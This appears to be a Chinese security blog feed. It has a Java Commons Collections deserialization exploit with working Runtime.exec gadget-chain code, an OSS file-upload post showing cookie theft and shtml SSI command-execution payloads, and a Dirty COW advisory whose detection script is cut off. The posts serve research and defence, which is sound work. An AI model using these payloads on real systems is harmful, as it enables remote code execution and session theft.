</span>&#123;</span><br><span class="line">    Transformer[] transformers = <span class="keyword">new</span> Transformer[] &#123;</span><br><span class="line">        <span class="keyword">new</span> ConstantTransformer(Runtime.class),</span><br><span class="line">        <span class="keyword">new</span> InvokerTransformer(<span class="string">"getMethod"</span>, <span class="keyword">new</span> Class[] &#123;</span><br><span class="line">            String.class, Class[].class &#125;, <span class="keyword">new</span> Object[] &#123;</span><br><span class="line">            <span class="string">"getRuntime"</span>, <span class="keyword">new</span> Class[<span class="number">0</span>] &#125;),</span><br><span class="line">        <span class="keyword">new</span> InvokerTransformer(<span class="string">"invoke"</span>, <span class="keyword">new</span> Class[] &#123;</span><br><span class="line">            Object.class, Object[].class &#125;, <span class="keyword">new</span> Object[] &#123;</span><br><span class="line">            <span class="keyword">null</span>, <span class="keyword">new</span> Object[<span class="number">0</span>] &#125;),</span><br><span class="line">        <span class="keyword">new</span> InvokerTransformer(<span class="string">"exec"</span>, <span class="keyword">new</span> Class[] &#123;</span><br><span class="line">            String.class &#125;, <span class="keyword">new</span> Object[] &#123;<span class="string">" /Applications/Calculator.app/Contents/MacOS/Calculator"</span>&#125;)&#125;;</span><br><span class="line"></span><br><span class="line">    Transformer transformedChain = <span class="keyword">new</span> ChainedTransformer(transformers);</span><br><span class="line"></span><br><span class="line">    Map innerMap = <span class="keyword">new</span> HashMap();</span><br><span class="line">    innerMap.put(<span class="string">"value"</span>, <span class="string">"value"</span>);</span><br><span class="line">    Map outerMap = TransformedMap.decorate(innerMap, <span class="keyword">null</span>, transformedChain);</span><br><span class="line"></span><br><span class="line">    Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();</span><br><span class="line"></span><br><span class="line">    onlyElement.setValue(<span class="string">"foobar"</span>);</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="/2017/12/22/javaSerialKiller/Map.jpeg" alt="手工修改Map值触发RCE"></p><p>所以到这里,我们再回头看一下<a href="#id1">宽泛解释</a>,我们要通过反序列化去自动触发RCE，而不是人为通过Map方法修改Map值触发，所以找到AnnotationInvocationHandler，它的readObject()函数，函数内对memberValues所有的值都有setValue操作，自动触发Transformer构造的rce链。</p><p>AnnotationInvocationHandler类继承InvocationHandler和Serializable：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">AnnotationInvocationHandler</span> <span class="keyword">implements</span> <span class="title">InvocationHandler</span>, <span class="title">Serializable</span> </span>&#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Class&lt;? extends Annotation&gt; type;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Map&lt;String, Object&gt; memberValues;</span><br><span class="line"></span><br><span class="line">    AnnotationInvocationHandler(Class&lt;? extends Annotation&gt; type, Map&lt;String, Object&gt; memberValues) &#123;</span><br><span class="line">        <span class="keyword">this</span>.type = type;</span><br><span class="line">        <span class="keyword">this</span>.memberValues = memberValues;</span><br><span class="line">    &#125;</span><br><span class="line">    ...</span><br></pre></td></tr></table></figure><p>AnnotationInvocationHandler的readObject()函数内对memberValues的操作：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">readObject</span><span class="params">(java.io.ObjectInputStream s)</span></span></span><br><span class="line"><span class="function">    <span class="keyword">throws</span> java.io.IOException, ClassNotFoundException </span>&#123;</span><br><span class="line">    s.defaultReadObject();</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="comment">// Check to make sure that types have not evolved incompatibly</span></span><br><span class="line"></span><br><span class="line">    AnnotationType annotationType = <span class="keyword">null</span>;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        annotationType = AnnotationType.getInstance(type);</span><br><span class="line">    &#125; <span class="keyword">catch</span>(IllegalArgumentException e) &#123;</span><br><span class="line">        <span class="comment">// Class is no longer an annotation type; all bets are off</span></span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    Map&lt;String, Class&lt;?&gt;&gt; memberTypes = annotationType.memberTypes();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (Map.Entry&lt;String, Object&gt; memberValue : memberValues.entrySet()) &#123;</span><br><span class="line">        String name = memberValue.getKey();</span><br><span class="line">        Class&lt;?&gt; memberType = memberTypes.get(name);</span><br><span class="line">        <span class="keyword">if</span> (memberType != <span class="keyword">null</span>) &#123;  <span class="comment">// i.e. member still exists</span></span><br><span class="line">            Object value = memberValue.getValue();</span><br><span class="line">            <span class="keyword">if</span> (!(memberType.isInstance(value) ||</span><br><span class="line">                  value <span class="keyword">instanceof</span> ExceptionProxy)) &#123;</span><br><span class="line">                <span class="comment">// 此处触发一些列的Transformer</span></span><br><span class="line">                memberValue.setValue(</span><br><span class="line">                    <span class="keyword">new</span> AnnotationTypeMismatchExceptionProxy(</span><br><span class="line">                        value.getClass() + <span class="string">"["</span> + value + <span class="string">"]"</span>).setMember(</span><br><span class="line">                            annotationType.members().get(name)));</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><p>AnnotationInvocationHandler序列化构造</p></blockquote><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> serialize;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.FileNotFoundException;</span><br><span class="line"><span class="keyword">import</span> java.io.FileOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Retention;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Target;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">import</span> java.util.Map.Entry;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Poc</span></span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//transformers: 一个transformer链，包含各类transformer对象（预设转化逻辑）的转化数组</span></span><br><span class="line">        Transformer[] transformers = <span class="keyword">new</span> Transformer[] &#123;</span><br><span class="line">            <span class="keyword">new</span> ConstantTransformer(Runtime.class),</span><br><span class="line">            <span class="comment">/*</span></span><br><span class="line"><span class="comment">            由于Method类的invoke(Object obj,Object args[])方法的定义</span></span><br><span class="line"><span class="comment">            所以在反射内写new Class[] &#123;Object.class, Object[].class &#125;</span></span><br><span class="line"><span class="comment">            正常POC流程举例：</span></span><br><span class="line"><span class="comment">            ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");</span></span><br><span class="line"><span class="comment">            */</span></span><br><span class="line">            <span class="keyword">new</span> InvokerTransformer(</span><br><span class="line">                <span class="string">"getMethod"</span>,</span><br><span class="line">                <span class="keyword">new</span> Class[] &#123;String.class, Class[].class &#125;,</span><br><span class="line">                <span class="keyword">new</span> Object[] &#123;<span class="string">"getRuntime"</span>, <span class="keyword">new</span> Class[<span class="number">0</span>] &#125;</span><br><span class="line">            ),</span><br><span class="line">            <span class="keyword">new</span> InvokerTransformer(</span><br><span class="line">                <span class="string">"invoke"</span>,</span><br><span class="line">                <span class="keyword">new</span> Class[] &#123;Object.class,Object[].class &#125;, </span><br><span class="line">                <span class="keyword">new</span> Object[] &#123;<span class="keyword">null</span>, <span class="keyword">null</span> &#125;</span><br><span class="line">            ),</span><br><span class="line">            <span class="keyword">new</span> InvokerTransformer(</span><br><span class="line">                <span class="string">"exec"</span>,</span><br><span class="line">                <span class="keyword">new</span> Class[] &#123;String[].class &#125;,</span><br><span class="line">                <span class="keyword">new</span> Object[] &#123; <span class="string">"whoami &gt; /tmp/poc"</span> &#125; <span class="comment">//目标机器上反序列化后执行的命令</span></span><br><span class="line">            )</span><br><span class="line">        &#125;;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//transformedChain: ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作</span></span><br><span class="line">        Transformer transformedChain = <span class="keyword">new</span> ChainedTransformer(transformers);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//BeforeTransformerMap: Map数据结构，转换前的Map，Map数据结构内的对象是键值对形式，类比于python的dict</span></span><br><span class="line">        <span class="comment">//Map&lt;String, String&gt; BeforeTransformerMap = new HashMap&lt;String, String&gt;();</span></span><br><span class="line">        Map&lt;String,String&gt; BeforeTransformerMap = <span class="keyword">new</span> HashMap&lt;String,String&gt;();</span><br><span class="line"></span><br><span class="line">        BeforeTransformerMap.put(<span class="string">"hello"</span>, <span class="string">"hello"</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//Map数据结构，转换后的Map</span></span><br><span class="line">       <span class="comment">/*</span></span><br><span class="line"><span class="comment">       TransformedMap.decorate方法,预期是对Map类的数据结构进行转化，该方法有三个参数。</span></span><br><span class="line"><span class="comment">            第一个参数为待转化的Map对象</span></span><br><span class="line"><span class="comment">            第二个参数为Map对象内的key要经过的转化方法（可为单个方法，也可为链，也可为空）</span></span><br><span class="line"><span class="comment">            第三个参数为Map对象内的value要经过的转化方法。</span></span><br><span class="line"><span class="comment">       */</span></span><br><span class="line">        <span class="comment">//TransformedMap.decorate(目标Map, key的转化对象（单个或者链或者null）, value的转化对象（单个或者链或者null）);</span></span><br><span class="line">        Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, <span class="keyword">null</span>, transformedChain);</span><br><span class="line"></span><br><span class="line">        Class cl = Class.forName(<span class="string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>);</span><br><span class="line"></span><br><span class="line">        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line">        ctor.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">        Object instance = ctor.newInstance(Target.class, AfterTransformerMap);</span><br><span class="line"></span><br><span class="line">        File f = <span class="keyword">new</span> File(<span class="string">"/tmp/payload.bin"</span>); <span class="comment">//序列化后的payload</span></span><br><span class="line">        ObjectOutputStream out = <span class="keyword">new</span> ObjectOutputStream(<span class="keyword">new</span> FileOutputStream(f));</span><br><span class="line">        out.writeObject(instance);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">思路:构建BeforeTransformerMap的键值对，为其赋值，</span></span><br><span class="line"><span class="comment">     利用TransformedMap的decorate方法，对Map数据结构的key/value进行transforme</span></span><br><span class="line"><span class="comment">     对BeforeTransformerMap的value进行转换，当BeforeTransformerMap的value执行完一个完整转换链，就完成了命令执行</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">     执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)</span></span><br><span class="line"><span class="comment">     利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">*/</span></span><br></pre></td></tr></table></figure><h2 id="java反序列化漏洞触发链-Collections"><a href="#java反序列化漏洞触发链-Collections" class="headerlink" title="java反序列化漏洞触发链(Collections)"></a>java反序列化漏洞触发链(Collections)</h2><p><img src="/2017/12/22/javaSerialKiller/java-serialize-poc.png" alt="java反序列化漏洞触发链"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;java序列化与反序列化&quot;&gt;&lt;a href=&quot;#java序列化与反序列化&quot; class=&quot;headerlink&quot; title=&quot;java序列化与反序列化&quot;&gt;&lt;/a&gt;java序列化与反序列化&lt;/h2&gt;&lt;h3 id=&quot;定义&quot;&gt;&lt;a href=&quot;#定义&quot; class=&quot;
      
    
    </summary>
    
      <category term="安全建设" scheme="http://pirogue.org/categories/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
    
      <category term="甲方安全" scheme="http://pirogue.org/tags/%E7%94%B2%E6%96%B9%E5%AE%89%E5%85%A8/"/>
    
      <category term="安全分析" scheme="http://pirogue.org/tags/%E5%AE%89%E5%85%A8%E5%88%86%E6%9E%90/"/>
    
      <category term="java反序列化" scheme="http://pirogue.org/tags/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    
      <category term="Apache Commons Collections" scheme="http://pirogue.org/tags/Apache-Commons-Collections/"/>
    
  </entry>
  
  <entry>
    <title>阿里云OSS约等于文件上传漏洞？</title>
    <link href="http://pirogue.org/2017/09/29/aliyunoss/"/>
    <id>http://pirogue.org/2017/09/29/aliyunoss/</id>
    <published>2017-09-29T09:59:34.000Z</published>
    <updated>2017-10-23T07:05:05.000Z</updated>
    
    <content type="html"><![CDATA[<p>首先声明这是一篇标题党的文章，阿里云OSS不被这个锅，锅其实还是在企业或者说是用户。</p><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>之所以要写这篇口水文，是因为最近在检测自家公司产品时发现存在这个问题，同时不久在测试某src的某系统时也存在类似这种问题，所以个人认为还是要提高一些警惕，让开发或测试者尽量消除不必要的麻烦，不要错误的认为文件托管在oss就可以忽略站内的上传功能存在的安全隐患。</p><h2 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h2><p>首先借用阿里云oss首页的介绍性文字来解释下oss是什么：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">海量、安全、低成本、高可靠的云存储服务，提供99.99999999%的数据可靠性。使用RESTful API 可以在互联网任何位置存储和访问，容量和处理能力弹性扩展，多种存储类型供选择全面优化存储成本。</span><br></pre></td></tr></table></figure></p><p>简单可以理解为企业自身的文件存储服务器。问题出在站点的上传功能，存在任意文件上传，但因为上传到的是oss或文件存储服务器，所以不论是什么类型的脚本都是不解析的，访问会直接下载回来，那作为开发者会高枕无忧了吗？然并卵，我还可以上传一个内容存在xss payload的hack.html的文件，服务器便会静态文件进行解析；重点来了，可能企业在使用oss服务时，使用的域名是img-oss.yourcompanydomain.com，而在你公司的sso或产品为了跨域在开发时set-cookie：*.yourcompanydomain.com，那攻击者就可以拿着img-oss.yourcompanydomain.com/hack.html找对应的场景或发给公司的员工，打开后cookie可能就被“借”走了。</p><p>总结两点：</p><ol><li><p>任意文件上传；</p></li><li><p>站点可以跨域</p></li></ol><blockquote><p>你看不见我~文末我准备追加一种姿势</p></blockquote><h2 id="案例复现"><a href="#案例复现" class="headerlink" title="案例复现"></a>案例复现</h2><h3 id="案例一："><a href="#案例一：" class="headerlink" title="案例一："></a>案例一：</h3><p>0x01:<br>set-cookie</p><p> <img src="/2017/09/29/aliyunoss/setcookie.jpg" alt="set-cookie"></p><p>0x02:</p><p>文件上传，前端验证</p><p>先上传图片，然后通过bp抓包，修改后缀为html，进行上传</p><p> <img src="/2017/09/29/aliyunoss/cookie.jpg" alt="set-cookie"></p><p> 访问即可打印弹出cookie</p><h3 id="案例二："><a href="#案例二：" class="headerlink" title="案例二："></a>案例二：</h3><p>0x01:</p><p>某src在上传文件时不仅会校验文件后缀，在后端也会校验文件头</p><p> <img src="/2017/09/29/aliyunoss/check.jpg" alt="checkjpg"></p><p>0x02:</p><p> 绕过上传</p><p> <img src="/2017/09/29/aliyunoss/bypassSuffix.jpg" alt="bypassSuffix"></p><p> 上传后的response</p><p> <img src="/2017/09/29/aliyunoss/upload.jpg" alt="upload"></p><p> html上传成功，发现其setcookie也是该业务系统全域名的，但使用的oss服务是阿里的oss相关域名isvstore.oss-cn-hangzhou.aliyuncs.com，不是使用其业务系统的域名，这样这两个域名之间是不能相互跨域的，但aliyuncs.com这个域名如果有业务系统，可能也会被利用。但在我测试过之后发现aliyuncs.com这个域名没有业务系统。所以没有影响，才在这里列出来。</p><p> 但问题是相通的。</p><h2 id="传统解决方案"><a href="#传统解决方案" class="headerlink" title="传统解决方案"></a>传统解决方案</h2><ol><li>后端校验文件后缀类型；</li><li>牛逼点对文件进行重绘；</li></ol><h2 id="针对oss解决方案"><a href="#针对oss解决方案" class="headerlink" title="针对oss解决方案"></a>针对oss解决方案</h2><ol><li>oss接口开发key管理部分，不同的key可以配置不同类型文件上传权限（服务端改key即可）；</li><li>在使用oss时，最好申请一个专用的域名提供文件服务器使用。</li></ol><h2 id="文末彩蛋"><a href="#文末彩蛋" class="headerlink" title="文末彩蛋"></a>文末彩蛋</h2><p>除了html，你是否知道还有一种文件在特殊场景下会被利用呢？那就是shtml！</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">shtml用的是SSI指令，SSI是为WEB服务器提供的一套命令，这些命令只要直接嵌入到HTML文档的注释内容之中即可。</span><br><span class="line">&lt;!--#include file=&quot;/home/www/user7511/nav_foot.htm&quot;--&gt; //可以用来读文件</span><br><span class="line">&lt;!--#exec cmd=&quot;ifconfig&quot;--&gt; //可以用来执行命令</span><br><span class="line">&lt;!--#include virtual=&quot;/includes/header.html&quot; --&gt; //也是读文件 与FILE不同他支持绝对路径和../来跳转到父目录 而file只能读取当前目录下的</span><br></pre></td></tr></table></figure><p>在某众测项目时，曾利用过，当时的情景是一个上传附件的功能存在任意文件上传，asp、aspx、jsp、php等等上传之后，访问都会进行下载，而上传html则造成xss，而xss的奖金并不高；为了提升漏洞的危害，上传了一个shtml，里面的payload就是执行命令，命令执行奖金达到8K。</p><p>ps:shtml这个姿势从t00ls论坛上学到的。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;首先声明这是一篇标题党的文章，阿里云OSS不被这个锅，锅其实还是在企业或者说是用户。&lt;/p&gt;
&lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;之所以要写这篇口水文，是因为最近在检测自
      
    
    </summary>
    
      <category term="安全建设" scheme="http://pirogue.org/categories/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
    
      <category term="甲方安全" scheme="http://pirogue.org/tags/%E7%94%B2%E6%96%B9%E5%AE%89%E5%85%A8/"/>
    
      <category term="渗透测试" scheme="http://pirogue.org/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
      <category term="文件上传漏洞" scheme="http://pirogue.org/tags/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/"/>
    
      <category term="阿里云OSS" scheme="http://pirogue.org/tags/%E9%98%BF%E9%87%8C%E4%BA%91OSS/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2016-5195(Dirtycow)检测脚本及Ubuntu升级内核方法</title>
    <link href="http://pirogue.org/2017/09/12/dirtycow/"/>
    <id>http://pirogue.org/2017/09/12/dirtycow/</id>
    <published>2017-09-12T06:58:49.000Z</published>
    <updated>2017-09-13T02:45:52.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="漏洞编号"><a href="#漏洞编号" class="headerlink" title="漏洞编号"></a>漏洞编号</h2><p>CVE-2016-5195</p><h2 id="漏洞名称"><a href="#漏洞名称" class="headerlink" title="漏洞名称"></a>漏洞名称</h2><p>脏牛（Dirty COW）</p><h2 id="风险等级"><a href="#风险等级" class="headerlink" title="风险等级"></a>风险等级</h2><p>高</p><h2 id="漏洞危害"><a href="#漏洞危害" class="headerlink" title="漏洞危害"></a>漏洞危害</h2><p>黑客可以通过远程入侵获取低权限用户shell后，然后利用该漏洞在全版本Linux系统上实现本地提权，从而获取服务器root权限。 </p><h2 id="漏洞利用条件"><a href="#漏洞利用条件" class="headerlink" title="漏洞利用条件"></a>漏洞利用条件</h2><p>黑客可以通过远程入侵获取低权限用户shell后, 才能进一步利用该漏洞。 </p><h2 id="漏洞影响范围"><a href="#漏洞影响范围" class="headerlink" title="漏洞影响范围"></a>漏洞影响范围</h2><p>根据Linux内核官方评估自2007年来发行的 &gt;=2.6.22的内核版本全部受影响。</p><h2 id="漏洞验证"><a href="#漏洞验证" class="headerlink" title="漏洞验证"></a>漏洞验证</h2><p>我们先通过一个低权限用户meicai登录，通过rz上传一个cowroot二进制漏洞利用程序；<br>给cowroot执行权限后执行，发现自动提升到root权限。<br> <img src="/2017/09/12/dirtycow/dirtycow.png" alt="dirtycow"><br><strong> 请不要在生产环境通过漏洞利用程序测试此漏洞，可能造成系统卡死。为防止系统卡死可执行echo 0 &gt; /proc/sys/vm/dirty_writeback_centisecs ，关闭pdflush刷新。 </strong></p><h2 id="漏洞验证poc"><a href="#漏洞验证poc" class="headerlink" title="漏洞验证poc"></a>漏洞验证poc</h2><p>为防止漏洞利用程序造成的危害，我特意编写了一个可以验证漏洞是否存在的python脚本，执行过后可检测系统是否存在漏洞。请执行3次左右，防止漏报情况。</p><p><strong> 存在漏洞：</strong></p><p> <img src="/2017/09/12/dirtycow/dirtycow-poc.png" alt="dirtycow"></p><p><strong> 不存在漏洞：</strong></p><p> <img src="/2017/09/12/dirtycow/dirtycow-poc-novuln.png" alt="dirtycow"></p><h2 id="漏洞修复"><a href="#漏洞修复" class="headerlink" title="漏洞修复"></a>漏洞修复</h2><p><strong> Ubuntu 内核升级: </strong></p><p>1、查看是否有最新更新包： dpkg -l  | grep linux</p><p>2、更新列表：apt-get update 或apt update</p><p>3、升级：</p><p>Ubuntu12.04版本：apt-get install linux-generic</p><p>Ubuntu14.04版本：apt-get upgrade或apt  upgrade</p><p>4、reboot重启服务器</p><p><strong> 注意：机器上在做了上述升级后还会存在漏洞未修复！</strong></p><p> <img src="/2017/09/12/dirtycow/dirtycow-upgrade-kernel.png" alt="dirtycow"></p><p>系统提示我们正在使用的版本安全更新只到2016-08-04这一天，所以官方给出两种解决办法：</p><ol><li>升级Ubuntu 14.04 LTS 到 Ubuntu 16.04 LTS：<br>sudo do-release-upgrade<br><strong>或者</strong></li><li>切换到当前受社区安全支持的内核小版本升级：<br>sudo apt-get install linux-image-generic-lts-xenial linux-generic-lts-xenial</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line">#coding=utf-8</span><br><span class="line">#-------------------------------------------------------------------------------</span><br><span class="line"># Name:        Linux内核通用提权漏洞检测脚本（Dirty COW）</span><br><span class="line"># vuln:   CVE-2016-5195: https://access.redhat.com/security/cve/CVE-2016-5195</span><br><span class="line"># Author:      pirogue</span><br><span class="line"># Created:     2017-9-11 11:22:08</span><br><span class="line"># Site:        http://pirogue.org</span><br><span class="line">#-------------------------------------------------------------------------------</span><br><span class="line"></span><br><span class="line">import subprocess</span><br><span class="line">from subprocess import Popen, PIPE</span><br><span class="line">import os</span><br><span class="line"></span><br><span class="line"># 漏洞利用验证代码</span><br><span class="line">poc_code = &quot;&quot;&quot;</span><br><span class="line"></span><br><span class="line">/* </span><br><span class="line"> * main.c </span><br><span class="line"> * </span><br><span class="line"> *  Created on: Oct 21, 2016 </span><br><span 